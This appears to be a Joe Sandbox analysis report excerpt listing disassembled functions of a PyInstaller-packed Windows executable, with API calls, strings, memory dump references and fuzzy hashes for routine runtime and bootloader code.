APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE6D23
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE7110
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE73AC

Strings

-, xrefs: 00007FF652EE6DB9
p, xrefs: 00007FF652EE6E4D
f, xrefs: 00007FF652EE6E45
:, xrefs: 00007FF652EE6EDC
p, xrefs: 00007FF652EE6DD5

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: d41d3ed49e0df0b37e7753a00fe59ce424ede8ed11cb6504f669504b003b63f2
Instruction ID: e17f13b99bf0515badb2700cbb4563e4420b20a1524fac18703135ab09a40c7b
Opcode Fuzzy Hash: d41d3ed49e0df0b37e7753a00fe59ce424ede8ed11cb6504f669504b003b63f2
Instruction Fuzzy Hash: B412D721E0C26386FB609F15D8446BD7661FB80758F9C413DE699A76C8DFBCE980CB10

Function 00007FF652EE18F8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE1938
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE1D00
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE1F9F

Strings

p, xrefs: 00007FF652EE1A42
f, xrefs: 00007FF652EE1A3A
f, xrefs: 00007FF652EE19D0
f, xrefs: 00007FF652EE1B85
p, xrefs: 00007FF652EE19DD

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: d738f100ea2c585e80d131aafbe2a69e2e0acbd3b76fe5cf90b2b638373c2978
Instruction ID: c2247588ec34ee3bde328560407cfaee526decead260e85659243b12e073afad
Opcode Fuzzy Hash: d738f100ea2c585e80d131aafbe2a69e2e0acbd3b76fe5cf90b2b638373c2978
Instruction Fuzzy Hash: 0212B561E0C1A386FB249A15DC542B97661FB80758F9C4139E69AEE6C4DFBCECC0CB11

Function 00007FF652ED1590 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF652ED15C3
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF652ED1629
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF652ED16B2
malloc, xrefs: 00007FF652ED1630
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF652ED15F9
fread, xrefs: 00007FF652ED16B9
fseek, xrefs: 00007FF652ED1600

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 78e786674cf019aa4bfc43b56c2618f7f7dd3a536dd5cfde84b8df6acfdb4e98
Instruction ID: ef33cb4c3f559cedaaf8ba331cb47bb10f40adfc616c58131f082e6563a2d6de
Opcode Fuzzy Hash: 78e786674cf019aa4bfc43b56c2618f7f7dd3a536dd5cfde84b8df6acfdb4e98
Instruction Fuzzy Hash: 38318122B186A346EB20DB12FC415BA6391EF847D8F5C503DDE4DBBA95EEBCE5458300

Function 00007FF652EDF330 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF652EDF38C

Part of subcall function 00007FF652EE02EC: __GetUnwindTryBlock.LIBCMT ref: 00007FF652EE032F
Part of subcall function 00007FF652EE02EC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF652EE0354

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF652EDF464
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF652EDF6B3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF652EDF7BF

Strings

csm, xrefs: 00007FF652EDF40D
csm, xrefs: 00007FF652EDF3A6
csm, xrefs: 00007FF652EDF487

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 0e2dbf0607b23b863384daf6af73d36f13a88af7ca772ada99fba3557138c94c
Instruction ID: 26df71eb3239da0fc25ea038fc197c2d4c8abb27aae9c353821dc4219bfe4f6b
Opcode Fuzzy Hash: 0e2dbf0607b23b863384daf6af73d36f13a88af7ca772ada99fba3557138c94c
Instruction Fuzzy Hash: A4D1B372A087628AEB20DF65D8402AD37A0FB8579CF18413DEE8DA7B55DF78E491C740

Function 00007FF652ED89B0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF652ED101D), ref: 00007FF652ED8A47
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF652ED101D), ref: 00007FF652ED8A9E

Strings

Out of memory., xrefs: 00007FF652ED8ACF
Failed to encode wchar_t as UTF-8., xrefs: 00007FF652ED8AC6
WideCharToMultiByte, xrefs: 00007FF652ED8AE6
win32_utils_to_utf8, xrefs: 00007FF652ED8AD6
Failed to get UTF-8 buffer size., xrefs: 00007FF652ED8ADF

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 400f0bdcbd62a4a5536486c2f7426be13d95d078f8c38135e0fc09a91e7db9c0
Instruction ID: bc4c281e4c92d0185afd9c828a8316b93da89c46222c3d71012a981c33ebe396
Opcode Fuzzy Hash: 400f0bdcbd62a4a5536486c2f7426be13d95d078f8c38135e0fc09a91e7db9c0
Instruction Fuzzy Hash: 8141A232A08BA282E760CF15BC4016AB7A1FB84798F5C553DDA8DA7B94DFBCD456C700

Function 00007FF652ED8EF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF652ED39CA), ref: 00007FF652ED8F31

Part of subcall function 00007FF652ED29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF652ED8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF652ED101D), ref: 00007FF652ED29F4
Part of subcall function 00007FF652ED29C0: MessageBoxW.USER32 ref: 00007FF652ED2AD0

WideCharToMultiByte.KERNEL32(?,00007FF652ED39CA), ref: 00007FF652ED8FA5

Strings

Out of memory., xrefs: 00007FF652ED8F6B
Failed to encode wchar_t as UTF-8., xrefs: 00007FF652ED8FAF
WideCharToMultiByte, xrefs: 00007FF652ED8F45, 00007FF652ED8FB6
win32_utils_to_utf8, xrefs: 00007FF652ED8F72
Failed to get UTF-8 buffer size., xrefs: 00007FF652ED8F3E

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: 4b8f80f614b111e99d886447c0377d3fa2ad0085ce50da6436ff273b72e0facb
Instruction ID: 8deb25452124b606696d1ea6b46ddb6f29930f1eb4b6632d13b42b83d19cc4c6
Opcode Fuzzy Hash: 4b8f80f614b111e99d886447c0377d3fa2ad0085ce50da6436ff273b72e0facb
Instruction Fuzzy Hash: E2218032B08B5685EB10DF26FC400797262EB84B88F5C453DDA4DA7B95EFBCE5518300

Function 00007FF652ED77B0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF652ED7926

Part of subcall function 00007FF652EE0A40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE0A54

Part of subcall function 00007FF652EE0A14: _invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE0A28

Strings

%s%c%s, xrefs: 00007FF652ED77F5
\, xrefs: 00007FF652ED77FC
WARNING: file already exists but should not: %s, xrefs: 00007FF652ED78A8
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF652ED7842
ERROR: file already exists but should not: %s, xrefs: 00007FF652ED788C

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: 2cea5c8ce1578333e4efc4819ef4f60ece872d9265926bded31408bcde5abe9b
Instruction ID: e55d3bef8887ad80966006a9fe5eca1181b3dd5b3f39db12b79330436921a09b
Opcode Fuzzy Hash: 2cea5c8ce1578333e4efc4819ef4f60ece872d9265926bded31408bcde5abe9b
Instruction Fuzzy Hash: E7519026A0D27345FB119B25AD416B962919FC9BC8F4C413DEA4DFB7D6DEACE5008340

Function 00007FF652EDE3C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF652EDE67A,?,?,?,00007FF652EDD5AC,?,?,?,00007FF652EDD1A1), ref: 00007FF652EDE44D
GetLastError.KERNEL32(?,?,?,00007FF652EDE67A,?,?,?,00007FF652EDD5AC,?,?,?,00007FF652EDD1A1), ref: 00007FF652EDE45B
LoadLibraryExW.KERNEL32(?,?,?,00007FF652EDE67A,?,?,?,00007FF652EDD5AC,?,?,?,00007FF652EDD1A1), ref: 00007FF652EDE485
FreeLibrary.KERNEL32(?,?,?,00007FF652EDE67A,?,?,?,00007FF652EDD5AC,?,?,?,00007FF652EDD1A1), ref: 00007FF652EDE4F3
GetProcAddress.KERNEL32(?,?,?,00007FF652EDE67A,?,?,?,00007FF652EDD5AC,?,?,?,00007FF652EDD1A1), ref: 00007FF652EDE4FF

Strings

api-ms-, xrefs: 00007FF652EDE46D

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 5cef7e97cf10635b7adbe76254dad29ae16abfe91812266f9aed7336451ff82a
Instruction ID: 65571612acf2d9c96afe38d96657df3c79e3de55045805099fa95fb3149f21c2
Opcode Fuzzy Hash: 5cef7e97cf10635b7adbe76254dad29ae16abfe91812266f9aed7336451ff82a
Instruction Fuzzy Hash: 7531C421B1AA6291EF16DB06AC045B52394BF88BA8F5D453DDD1DE7790DFBCF4848300

Function 00007FF652ED7630 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652ED8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8E1A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF652ED7BB1,00000000,?,00000000,00000000,?,00007FF652ED153F), ref: 00007FF652ED768F

Part of subcall function 00007FF652ED2B10: MessageBoxW.USER32 ref: 00007FF652ED2BE5

Strings

LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF652ED76EA
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF652ED7666
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF652ED76A3

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 9bfcf0b62ea921097bc7abb589b6718567d9e6fafddd2668cb98e057143b44d0
Instruction ID: 8a4d48a0efd5d5ba5887753a86de10477b1e19c660580d8a15a6ccd8e2a1a8ad
Opcode Fuzzy Hash: 9bfcf0b62ea921097bc7abb589b6718567d9e6fafddd2668cb98e057143b44d0
Instruction Fuzzy Hash: 85318715B1C76240FB20D725ED253BA5291AFD87C8F8C083DDA4EE77D6EEACE5058640

Function 00007FF652ED8DE0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8E1A

Part of subcall function 00007FF652ED29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF652ED8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF652ED101D), ref: 00007FF652ED29F4
Part of subcall function 00007FF652ED29C0: MessageBoxW.USER32 ref: 00007FF652ED2AD0

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8EA0

Strings

win32_utils_from_utf8, xrefs: 00007FF652ED8E69
MultiByteToWideChar, xrefs: 00007FF652ED8E2E, 00007FF652ED8EB1
Out of memory., xrefs: 00007FF652ED8E62
Failed to decode wchar_t from UTF-8, xrefs: 00007FF652ED8EAA
Failed to get wchar_t buffer size., xrefs: 00007FF652ED8E27

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: 7f97f1849ec178b0ff8ea583991b98c80d8c160445cd7602e716bcd8403426a8
Instruction ID: 9ff212c7a1a4408712601d9362c30f0e2bf0dfa8ec17407dcfa3853bef538b3f
Opcode Fuzzy Hash: 7f97f1849ec178b0ff8ea583991b98c80d8c160445cd7602e716bcd8403426a8
Instruction Fuzzy Hash: 87217622B18A6281EB50CB29FC4006AA761FB847C8F5C4539DF4CE7BA9EF7DE5518700

Function 00007FF652EEBF00 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF652EEBF0F
FlsGetValue.KERNEL32 ref: 00007FF652EEBF24
FlsSetValue.KERNEL32 ref: 00007FF652EEBF45
FlsSetValue.KERNEL32 ref: 00007FF652EEBF72
FlsSetValue.KERNEL32 ref: 00007FF652EEBF83
FlsSetValue.KERNEL32 ref: 00007FF652EEBF94
SetLastError.KERNEL32 ref: 00007FF652EEBFAF

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: df2ded1ae2d12cacab90ddcd018bee7069951accd7a28f59ea2aa6442bb7c29d
Instruction ID: 52e6d937a2ec92b451ae2eba87034e7521c0042fd49777595489bdfc87c72c36
Opcode Fuzzy Hash: df2ded1ae2d12cacab90ddcd018bee7069951accd7a28f59ea2aa6442bb7c29d
Instruction Fuzzy Hash: CF214220F0D66341FA68A322AE5117D61626F457B8F1C473CE83EF7AD6DEACE4458701

Function 00007FF652EF8D9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF652EF8DCD
GetLastError.KERNEL32 ref: 00007FF652EF8DD9
CloseHandle.KERNEL32 ref: 00007FF652EF8DF1
CreateFileW.KERNEL32 ref: 00007FF652EF8E1C
WriteConsoleW.KERNEL32 ref: 00007FF652EF8E3B

Strings

CONOUT$, xrefs: 00007FF652EF8DFD

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 56c47cfc8464f7969a639e7ce3d60490623cf8b9b00151c5924cedcf2ef07519
Instruction ID: d9e81ef482214c45dd3d2d1f1e49a5b946dda21c3eee495740621b64ee9835fa
Opcode Fuzzy Hash: 56c47cfc8464f7969a639e7ce3d60490623cf8b9b00151c5924cedcf2ef07519
Instruction Fuzzy Hash: 1E119322B18A5186E750CB02FC5472A62A0FB98FE8F184338DE1DE7794DFBCD5588744

Function 00007FF652EEC078 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF652EE5CBD,?,?,?,?,00007FF652EEF9AF,?,?,00000000,00007FF652EEC196,?,?,?), ref: 00007FF652EEC087
FlsSetValue.KERNEL32(?,?,?,00007FF652EE5CBD,?,?,?,?,00007FF652EEF9AF,?,?,00000000,00007FF652EEC196,?,?,?), ref: 00007FF652EEC0BD
FlsSetValue.KERNEL32(?,?,?,00007FF652EE5CBD,?,?,?,?,00007FF652EEF9AF,?,?,00000000,00007FF652EEC196,?,?,?), ref: 00007FF652EEC0EA
FlsSetValue.KERNEL32(?,?,?,00007FF652EE5CBD,?,?,?,?,00007FF652EEF9AF,?,?,00000000,00007FF652EEC196,?,?,?), ref: 00007FF652EEC0FB
FlsSetValue.KERNEL32(?,?,?,00007FF652EE5CBD,?,?,?,?,00007FF652EEF9AF,?,?,00000000,00007FF652EEC196,?,?,?), ref: 00007FF652EEC10C
SetLastError.KERNEL32(?,?,?,00007FF652EE5CBD,?,?,?,?,00007FF652EEF9AF,?,?,00000000,00007FF652EEC196,?,?,?), ref: 00007FF652EEC127

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: da8c6ca16c8b883ebc71625bfe0f28af63b483cac13b62078f3c5bdeda11927e
Instruction ID: fc2219290458c5ee02c1d6edca9253ee7221305387908f6f0e5540595f15e0e7
Opcode Fuzzy Hash: da8c6ca16c8b883ebc71625bfe0f28af63b483cac13b62078f3c5bdeda11927e
Instruction Fuzzy Hash: 3A116021B0C67342FA589721AE5117D21629F457B8F2C573CE82EF77D6DEACE8414300

Function 00007FF652ED25E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF652ED27CF), ref: 00007FF652ED2618
DialogBoxIndirectParamW.USER32 ref: 00007FF652ED26DC
DeleteObject.GDI32 ref: 00007FF652ED270F
DestroyIcon.USER32 ref: 00007FF652ED2721

Strings

Unhandled exception in script, xrefs: 00007FF652ED2648

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 035139a28c932b525dc7cac8fcdac5569ee169202821a797d5d04823a4addf63
Instruction ID: 528f908da0aa15a9c5aa4c87bde3cc655f3cd77342b0b240269d7ba121a7e780
Opcode Fuzzy Hash: 035139a28c932b525dc7cac8fcdac5569ee169202821a797d5d04823a4addf63
Instruction Fuzzy Hash: 5E317036A18A9285EB20DB61FC551FA7360FF88788F480139EA4D9BB95DFBCD105C700

